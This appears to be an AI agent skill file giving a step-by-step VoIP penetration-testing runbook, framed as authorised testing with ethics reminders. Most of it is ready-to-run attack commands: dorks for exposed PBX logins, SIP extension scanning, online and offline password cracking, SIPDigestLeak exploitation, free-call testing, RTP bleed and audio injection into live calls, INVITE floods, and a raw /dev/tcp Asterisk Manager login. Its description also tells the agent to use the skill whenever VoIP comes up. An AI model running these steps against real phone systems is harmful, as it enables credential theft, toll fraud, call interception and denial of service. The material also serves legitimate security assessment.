| name | voip-pentesting |
| description | Perform VoIP penetration testing including SIP enumeration, extension scanning, password cracking, vulnerability detection (SIPDigestLeak, RTPBleed), and attack testing. Use this skill whenever the user mentions VoIP, SIP, PBX, Asterisk, FreePBX, Elastix, phone systems, telephony security, or wants to test voice communication infrastructure for vulnerabilities. |
VoIP Pentesting Skill
A comprehensive skill for conducting VoIP penetration testing assessments, from initial enumeration through exploitation and reporting.
When to Use This Skill
Use this skill when:
- Testing VoIP infrastructure (SIP servers, PBX systems, IP phones)
- Enumerating SIP services and extensions
- Testing for VoIP-specific vulnerabilities (SIPDigestLeak, RTPBleed, misconfigurations)
- Performing password attacks on VoIP systems
- Analyzing captured VoIP traffic
- Testing for free call vulnerabilities
- Assessing Asterisk, FreePBX, Elastix, or similar PBX systems
Prerequisites
Before starting VoIP pentesting:
- Authorization: Ensure you have written permission to test the target systems
- Network Access: You need network access to the VoIP infrastructure
- Tools: Install required tools (see Tool Setup section)
- Target Information: Have target IP ranges, known extensions, or phone numbers
Tool Setup
Essential Tools
sudo apt install sipvicious
git clone https://github.com/Pepelux/sippts
cd sippts && make
sudo apt install sipcrack
sudo apt install enumiax rtpinsertsound rtpmixsound
Optional Tools
sudo apt install wireshark
sudo apt install multimon
Phase 1: Reconnaissance and Enumeration
1.1 OSINT and Phone Number Discovery
Start by gathering information about the target's phone systems:
intitle:"Grandstream Device Configuration" Password
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On"
inurl:"maint/index.php?FreePBX" intitle: "FreePBX"
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
1.2 Network Service Discovery
Scan for VoIP services on the network:
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
svmap 10.10.0.0/24 -p 5060-5070 --fp
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco
use auxiliary/scanner/sip/options
set RHOSTS 10.10.0.0/24
run
1.3 Additional Service Discovery
PBX systems often expose other services:
| Port | Service | Purpose |
|---|
| 69/UDP | TFTP | Firmware updates |
| 80/443 | HTTP/HTTPS | Web management |
| 389 | LDAP | User information |
| 3306 | MySQL | Database |
| 5038 | Manager | Asterisk management |
| 5222 | XMPP | Jabber messaging |
| 5432 | PostgreSQL | Database |
nmap -p 69,80,443,389,3306,5038,5222,5432 10.10.0.10
1.4 SIP Methods Enumeration
Discover which SIP methods are supported:
sippts enumerate -i 10.10.0.10
1.5 Extension Enumeration
Find valid extensions on the PBX:
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
use auxiliary/scanner/sip/enumerator
set RHOSTS 10.10.0.10
set RPORT 5060
run
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10
Phase 2: Authentication Testing
2.1 Online Password Brute-Force
Test credentials against discovered extensions:
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
2.2 Offline Password Cracking
If you've captured SIP traffic with credentials:
sipdump -p capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
sippts dump -f capture.pcap -o data.txt
sippts dcrack -f data.txt -w wordlist/rockyou.txt
2.3 SIP Digest Leak Exploitation
Exploit the SIPDigestLeak vulnerability:
sippts leak -i 10.10.0.10
sippts dcrack -f leak_output.txt -w wordlist/rockyou.txt
Phase 3: Vulnerability Testing
3.1 Free Call Testing
Test for authentication bypass in call handling:
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
3.2 RTP Bleed Detection
Test for RTP Bleed vulnerability:
sippts rtpbleed -i 10.10.0.10
sippts rtcpbleed -i 10.10.0.10
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
3.3 Server Response Analysis
Analyze server behavior with custom requests:
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
sippts wssend -i 10.10.0.10 -r 443 -path /ws
Phase 4: Traffic Analysis
4.1 VoIP Sniffing
Capture and analyze VoIP traffic:
tcpdump -i eth0 -w voip_capture.pcap port 5060
sippts tshark -f capture.pcap [-filter auth]
multimon -a DTMF -t wac pin.wav
4.2 Manager Interface Testing
Test Asterisk Manager interface (port 5038):
exec 3<>/dev/tcp/10.10.10.10/5038
echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n" >&3
cat <&3
Phase 5: Advanced Attacks
5.1 RTP Injection
Inject audio into active calls:
rtpinsertsound -i 10.10.0.10 -p 10070 -f audio.wav
rtpmixsound -i 10.10.0.10 -p 10070 -f audio.wav
5.2 Denial of Service
Test system resilience:
sippts flood -i 10.10.0.10 -m invite -v
sippts ping -i 10.10.0.10
iaxflood 10.10.0.10
5.3 Remote Code Execution
If you can modify Asterisk configuration:
Common Vulnerabilities Checklist
Reporting
Document your findings with:
- Vulnerability Summary: List all discovered vulnerabilities
- Risk Assessment: Rate each finding (Critical/High/Medium/Low)
- Proof of Concept: Include command outputs and screenshots
- Remediation: Provide specific recommendations for each finding
- Evidence: Save PCAP files, logs, and test outputs
Safety and Ethics
⚠️ Important Reminders:
- Authorization: Only test systems you have explicit permission to test
- Scope: Stay within the agreed scope of testing
- Timing: Avoid testing during business hours if it could disrupt operations
- Data Handling: Securely handle any credentials or sensitive data discovered
- Documentation: Document all testing activities for audit purposes
- Legal Compliance: Ensure compliance with applicable laws and regulations
References
Quick Reference
SIP Response Codes
| Code | Meaning |
|---|
| 100 | Trying |
| 180 | Ringing |
| 200 | OK |
| 401 | Unauthorized |
| 403 | Forbidden |
| 404 | Not Found |
| 408 | Request Timeout |
| 486 | Busy Here |
| 500 | Internal Server Error |
| 603 | Decline |
Common SIP Methods
| Method | Purpose |
|---|
| REGISTER | Register a SIP user |
| INVITE | Initiate a call |
| ACK | Confirm receipt |
| BYE | End a call |
| OPTIONS | Query capabilities |
| CANCEL | Cancel pending request |
| SUBSCRIBE | Subscribe to events |
| NOTIFY | Send notifications |